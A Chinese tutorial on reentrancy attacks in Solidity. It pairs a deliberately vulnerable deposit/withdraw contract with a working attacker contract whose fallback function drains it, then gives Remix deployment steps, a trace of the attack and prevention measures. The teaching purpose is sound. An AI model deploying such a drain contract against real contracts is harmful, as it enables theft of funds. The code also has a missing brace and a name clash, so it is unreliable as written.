# 重入攻击(Re-Entrancy)

# 前置

# 原理

​ 以太坊智能合约能够调用其他外部合约的代码。而这些合约通常也处理以太币,在调用外部合约时,会要求合约提交外部调用,这些外部调用就可以被攻击者劫持。

​ 可以通过 fallback 回退函数使合约执行更多的代码,包括回调原合约本身。因此重入攻击有点像间接调用递归函数。

​ 攻击合约可以回调合约上的一个函数,重新进入合约上的任意位置的代码并执行,如果没有防御措施,合约中的函数可能会被多次执行。

# 大致操作

​ 攻击者在外部地址部署攻击合约,并在该合约写入包含 fallback 回退函数的恶意代码,当合约把以太币发送到该地址时,恶意代码会被激活,这些代码会在没有保护的合约上执行函数。

# Fallback 回退函数

# fallback 函数的定义

function() // 无函数名、无函数参数、无返回值
{
}
// 当要调用的函数找不到时就会触发对 fallback 函数的自动调用。
// 由于 Solidity 中提供了编译期检查,所以不能直接通过 Solidity 调用一个不存在的函数。但可以使用 Solidity 的提供的底层函数 address.call 来模拟这一行为。
function()
{
FallbackCalled(msg.data);
}

# fallback 函数的使用

​ 使用 send () 函数向某个合约直接转账时,这个行为没有发送任何数据,所以接收合约总是会调用 fallback () 函数。

​ 如果要在合约中通过 send () 函数接收以太币,就必须定义 fallback 函数(否则异常),且 fallback 函数必须添加关键字 payable(否则结果将为 false)。

​ 发送以太币一方的合约中的 send () 函数可以不用定义 fallback 函数。

# 实例

# 代码

​ 构造一个漏洞合约,用于存放一定数量的以太币。

​ 同时构造一个攻击合约,用于窃取漏洞合约的以太币。

// 声明 solidity 版本
pragma solidity ^0.4.23;
// 漏洞合约
contract theDAO{
	mapping (address => uint) public _credit;
	event Deposit(address _who, uint value);
	event Withdraw(address _who, uint value);
	
// 存款函数,攻击合约攻击时会先存入一定金额
	function deposit() payable public returns (bool) {
        _credit[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
        return true;
    }
    
// 取款函数
//_credit 为账户在该合约的存款
//amount 是单次取款的金额
// 关键漏洞函数
	function withdraw(uint amount) public returns (bool) {
        if (_credit[msg.sender] >= amount){
            msg.sender.call.value(amount)();
            _credit[msg.sender] -= amount;
            emit Withdraw(msg.sender, amount);
            return true;
        }
        return true;
    }
    
// 查询函数,查看账户在该合约中的存款
    function creditOf(address to) public returns (uint) {
        return _credit[to];
    }
    
// 查询函数,查看该合约中的余额
    function checkBalance() public constant returns (uint) {
        return this.balance;
    }
}
// 攻击合约
contract Attacker {
    theDAO public _newDAO;
    uint256 public times = 0;
    address _owner;
    function Attacker(theDAO addr) payable {
        _owner = msg.sender;
        _newDAO = addr;
    }
    function attack() public returns (bool) {
    	// 向漏洞合约存钱
        _newDAO.deposit.value(10)();
        // 从漏洞合约取钱
        _newDAO.withdraw(10);
        return true;
    }
    function checkBalance() public constant returns (uint) {
        return this.balance;
    }
// 记录函数,记录 fallback 函数执行次数
    function times() public constant returns (uint) {
        return times;
//fallback 回退函数
    function() public payable {
    	times += 1;
        _newDAO.withdraw(10);
    }
}

# 合约编译、部署与执行

​ 合约的编译和部署在在线编译网站 http://remix.ethereum.org 上进行,也可以选择本地编译器 solc 进行。

# 编译合约

注意编译版本尽量与声明版本号一致。

# 部署合约

​ 本次演示合约将部署在本地环境 JavaScript VM 上。

​ 首先部署漏洞合约 theDAO,部署完成后向合约转入一定金额。

​ 接着部署攻击合约,在部署时输入漏洞合约的地址,并在部署时转入一定金额。

​ 这里转账顺序与合约源码有关,有三种接受转账方式(部署转账、合约转账、直接转账),在编译前根据需求(安全性、便利性)灵活使用。

# 执行攻击

  1. 先分别点击漏洞合约的 checkBalance 选项和攻击合约的 checkBalance 选项,确认攻击前两个合约内的金额数量。
  2. 点击攻击合约的 attack 选项,对漏洞合约进行攻击。
  3. 待攻击完成后,分别点击漏洞合约的 checkBalance 选项和攻击合约的 checkBalance 选项,确认攻击后两个合约内的金额数量。
  4. 点击攻击合约的 times 选项,以攻击合约执行一次 fallback 回退函数为指标,查看攻击次数。

# 过程分析

1.攻击合约执行_newDAO.deposit.value(10)();向漏洞合约转账10wei,这时漏洞合约会记录攻击合约的存款为10wei。其中sender是攻击合约地址,value是我们转入的金额。
2.攻击合约接着执行_newDAO.withdraw(10);意图从漏洞合约中取出10wei。这时漏洞合约会比较我们希望取出的金额和存款的金额,因为我们是存1010,所以成功通过比较。
3.这时会执行漏洞合约中的msg.sender.call.value(amount)();使漏洞合约向攻击合约转账10wei。
4.攻击合约接收到10wei后执行fallback回退函数,从而执行_newDAO.withdraw(10);继续从漏洞合约中取出10wei。
5.因为在上一次取款中,漏洞合约执行msg.sender.call.value(amount)();后因为回退函数跳转回withdraw的开头,并没有执行_credit[msg.sender]-=amount;导致攻击合约在漏洞合约中的余额还是10wei(尽管我们已经取走了10wei),因此漏洞合约继续向攻击合约转账10wei。
6.攻击合约会不断重复步骤45,直到gas达到该次交易的上限或者漏洞合约中的余额用尽。
7.这时才会继续往下执行_credit[msg.sender]-=amount;让攻击合约在漏洞合约中的存款变为0,然后结束合约的执行。

# 运行结果

​ 攻击合约通过重入攻击,窃取了漏洞合约中大量以太币。

# 预防措施

  1. 在合约中,遇到向外部合约转账的情况时,使用 solidity 中内置的 transfer () 函数,而不是 call () 函数。

    transfer () 函数仅会发送 2300 Gas 给用于合约的外部调用,这不足以攻击合约反复重入原合约。

  2. 确保所有改变状态变量的逻辑,都发生在以太币被发送出合约(或任何外部调用)之前。

    上面的合约之所以能被重入攻击,很大一部分原因在于漏洞合约在转账时是先转账,再对用户的余额数进行修改,这使得合约在被重入攻击时,用户的余额数一致不变。如果是先修改余额再转账,攻击合约在第一次重入取款函数时,就会因为余额不足而失败。

  3. 引入互斥锁,添加一个状态变量,在合约代码执行期间锁定合约,使得代码执行完之前只能有一个线程执行函数,防止函数被重入调用。